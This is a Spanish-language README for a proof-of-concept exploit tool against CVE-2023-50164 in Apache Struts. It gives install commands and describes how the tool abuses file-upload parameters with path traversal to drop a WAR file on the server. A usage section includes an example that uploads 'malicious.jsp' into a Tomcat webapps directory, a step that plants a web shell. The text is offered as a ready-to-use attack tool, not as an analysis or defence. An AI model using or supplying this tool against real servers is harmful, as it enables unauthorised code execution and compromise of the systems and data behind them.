PoC para CVE-2023-50164

Instalación

Para instalar esta herramienta debes tener Go versión al menos 1.20 instalado y configurado.

$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest

Alternativamente, puedes compilarla por ti mismo: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .

¿Cómo funciona?

Esta herramienta opera a través de una serie de etapas para ejecutar el exploit. Por ejemplo, si deseas subir el archivo /path/to/file-you-want-to-upload.txt, la herramienta procede de la siguiente manera:

1. Comprime el archivo especificado en un archivo WAR, generando un file-you-want-to-upload.war en el directorio temporal específico del sistema operativo. Por lo tanto, la herramienta asume que la ruta del archivo de contexto del servlet es /file-you-want-to-upload/file-you-want-to-upload.txt.

2. Verifica si la ruta del archivo de contexto del servlet ya existe. Si es así, la herramienta devuelve inmediatamente un error.

3. La herramienta intenta subir el archivo WAR manipulando los parámetros de carga de archivos.

4. Posteriormente, verifica nuevamente la disponibilidad (código de estado 200) de la ruta del archivo de contexto del servlet, indicando una carga exitosa del archivo.

Uso

$ cve-2023-50164-poc -h

  PoC para CVE-2023-50164
  --
  codificado por @dwisiswant0

Uso:
  cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>

Opciones:
  -u, --url <URL>             Especifica la URL del endpoint de carga
  -f, --file <FILE>           Proporciona el archivo de payload para cargar
  -t, --traverse-seq <N>      Genera secuencias de traversal N veces (predeterminado: "0")
  -p, --path <PATH>           Especifica la ruta al directorio raíz accesible
  -w, -win, --windows         Convierte los caracteres de barra ("/") al separador de Windows ("\")

Ejemplo:
  cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
  cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps